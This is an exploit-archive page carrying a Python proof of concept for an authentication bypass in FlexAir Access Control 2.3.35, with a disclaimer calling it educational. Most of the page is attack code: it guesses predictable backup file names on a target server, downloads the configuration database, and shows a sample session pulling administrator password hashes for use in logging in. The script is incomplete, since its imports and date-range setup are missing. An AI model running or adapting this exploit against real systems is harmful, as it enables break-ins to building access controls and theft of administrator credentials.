Flexair access control 2.3.35 authentication bypass Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2019-11-12 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Flexair access control 2.3.35 authentication bypass is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: FlexAir Access Control 2.3.35 - Authentication Bypass
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 2.3.35
# Tested on: NA
# CVE : CVE-2019-7666, CVE-2019-7667
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name Exploit
# Authentication Bypass (Login with MD5 hash)
#
# Older versions: /links/Nova_Config_2019-01-03.bck
# Older versions: /Nova/assets/Nova_Config_2019-01-03.bck
# Newer versions: /links/Nova_Config_2019-01-03_13-53.pdb3
# Fixed versions: 2.4
#
###################################################################################
#
# lqwrm@metalgear:~/stuff/prima$ python exploitDB.py http://192.168.230.17:8080
# [+] Please wait while fetchin the backup config file...
# [+] Found some juice!
# [+] Downloading: http://192.168.230.17:8080/links/Nova_Config_2019-01-07.bck
# [+] Saved as: Nova_Config_2019-01-07.bck-105625.db
# lqwrm@metalgear:~/stuff/prima$ sqlite3 Nova_Config_2019-01-07.bck-105625.db
# SQLite version 3.22.0 2018-01-22 18:45:57
# Enter ".help" for usage hints.
# sqlite> select usrloginname,usrloginpassword from users where usrid in (1,2);
# superadmin|0dfcfa8cc7fd39d96ffe22dd406b5065
# sysadmin|1af01c4a5a4ec37f451a9feb20a0bbbe
# sqlite> .q
# lqwrm@metalgear:~/stuff/prima$
#
###################################################################################
#
# 11.01.2019
#
print '[+] Please wait while fetchin the backup config file...'
def spinning_cursor():
while True:
for cursor in '|/-\\':
yield cursor
spinner = spinning_cursor()
for mooshoo in datum(start_date, end_date):
sys.stdout.write(next(spinner))
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write('\b')
h = requests.get(host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck', verify=False)
if (h.status_code) == 200:
print '[+] Found some juice!'
print '[+] Downloading: '+host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck'
timestr = time.strftime('%H%M%S')
time.sleep(1)
open('Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db', 'wb').write(h.content)
print '[+] Saved as: Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db'
sys.exit()
print '[-] No backup for you today. :('
Flexair access control 2.3.35 authentication bypass